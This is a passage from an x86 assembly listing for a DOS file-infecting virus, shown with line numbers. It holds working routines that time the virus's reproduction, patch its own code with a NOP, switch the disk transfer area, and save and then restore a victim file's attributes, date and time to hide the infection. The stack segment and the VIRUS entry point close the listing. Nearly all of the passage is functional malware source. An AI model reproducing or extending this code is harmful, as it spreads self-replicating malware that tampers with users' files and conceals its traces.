  688. ;definitely runs when this loader program is run, but after that, the time must
  689. ;be an even multiple of TIMECT+1.
  690. ;
  691. TIMECT  EQU     0               ;Determines how often to reproduce (1/64 here)
  692. ;
  693. SHOULDRUN:
  694.     xor     ah,ah           ;zero ax to start, set z flag
  695. SR1:    ret                     ;this gets replaced by NOP when program runs
  696.     int     1AH
  697.     and     dl,TIMECT       ;is it an even multiple of TIMECT+1 ticks?
  698.     ret                     ;return with z flag set if it is, else nz set
  699.  
  700.  
  701. ;--------------------------------------------------------------------------
  702. ;SETSR modifies SHOULDRUN so that the full procedure gets run
  703. ;it is redundant after the initial load
  704. SETSR:
  705.     mov     al,90H          ;NOP code
  706.     mov     BYTE PTR SR1,al ;put it in place of RET above
  707.     ret                     ;and return
  708.  
  709. ;--------------------------------------------------------------------------
  710. ;This routine sets up the new DTA location at DTA1, and saves the location of
  711. ;the initial DTA in the variable OLDDTA.
  712. NEW_DTA:
  713.     mov     ah,2FH                  ;get current DTA in ES:BX
  714.     int     21H
  715.     mov     WORD PTR [OLDDTA],bx    ;save it here
  716.     mov     ax,es
  717.     mov     WORD PTR [OLDDTA+2],ax
  718.     mov     ax,cs
  719.     mov     es,ax                   ;set up ES
  720.     mov     dx,OFFSET DTA1          ;set new DTA offset
  721.     mov     ah,1AH
  722.     int     21H                     ;and tell DOS where we want it
  723.     ret
  724.  
  725. ;--------------------------------------------------------------------------
  726. ;This routine reverses the action of NEW_DTA and restores the DTA to its
  727. ;original value.
  728. RESTORE_DTA:
  729.     mov     dx,WORD PTR [OLDDTA]    ;get original DTA seg:ofs
  730.     mov     ax,WORD PTR [OLDDTA+2]
  731.     mov     ds,ax
  732.     mov     ah,1AH
  733.     int     21H                     ;and tell DOS where to put it
  734.     mov     ax,cs                   ;restore ds before exiting
  735.     mov     ds,ax
  736.     ret
  737.  
  738. ;--------------------------------------------------------------------------
  739. ;This routine saves the original file attribute in FATTR, the file date and
  740. ;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
  741. ;file attribute to read/write, and leaves the file opened in read/write
  742. ;mode (since it has to open the file to get the date and size), with the handle
  743. ;it was opened under in HANDLE. The file path and name is in USEFILE.
  744. SAVE_ATTRIBUTE:
  745.     mov     ah,43H          ;get file attr
  746.     mov     al,0
  747.     mov     dx,OFFSET USEFILE
  748.     int     21H
  749.     mov     [FATTR],cl      ;save it here
  750.     mov     ah,43H          ;now set file attr to r/w
  751.     mov     al,1
  752.     mov     dx,OFFSET USEFILE
  753.     mov     cl,0
  754.     int     21H
  755.     mov     dx,OFFSET USEFILE
  756.     mov     al,2            ;now that we know it's r/w
  757.     mov     ah,3DH          ;we can r/w access open file
  758.     int     21H
  759.     mov     [HANDLE],ax     ;save file handle here
  760.     mov     ah,57H          ;and get the file date and time
  761.     xor     al,al
  762.     mov     bx,[HANDLE]
  763.     int     21H
  764.     mov     [FTIME],cx      ;and save it here
  765.     mov     [FDATE],dx      ;and here
  766.     mov     ax,WORD PTR [DTA1+28]   ;file size was set up here by
  767.     mov     WORD PTR [FSIZE+2],ax   ;search routine
  768.     mov     ax,WORD PTR [DTA1+26]   ;so move it to FSIZE
  769.     mov     WORD PTR [FSIZE],ax
  770.     ret
  771.  
  772. ;--------------------------------------------------------------------------
  773. ;Restore file attribute, and date and time of the file as they were before
  774. ;it was infected. This also closes the file
  775. REST_ATTRIBUTE:
  776.     mov     dx,[FDATE]      ;get old date and time
  777.     mov     cx,[FTIME]
  778.     mov     ah,57H          ;set file date and time to old value
  779.     mov     al,1
  780.     mov     bx,[HANDLE]
  781.     int     21H
  782.     mov     ah,3EH
  783.     mov     bx,[HANDLE]     ;close file
  784.     int     21H
  785.     mov     cl,[FATTR]
  786.     xor     ch,ch
  787.     mov     ah,43H          ;Set file attr to old value
  788.     mov     al,1
  789.     mov     dx,OFFSET USEFILE
  790.     int     21H
  791.     ret
  792.  
  793. FINAL:                                  ;last byte of code to be kept in virus
  794.  
  795. VSEG    ENDS
  796.  
  797.  
  798. ;--------------------------------------------------------------------------
  799. ;Virus stack segment
  800.  
  801. VSTACK  SEGMENT PARA STACK
  802.     db STACKSIZE dup (?)
  803. VSTACK  ENDS
  804.  
  805.     END VIRUS               ;Entry point is the virus
  806.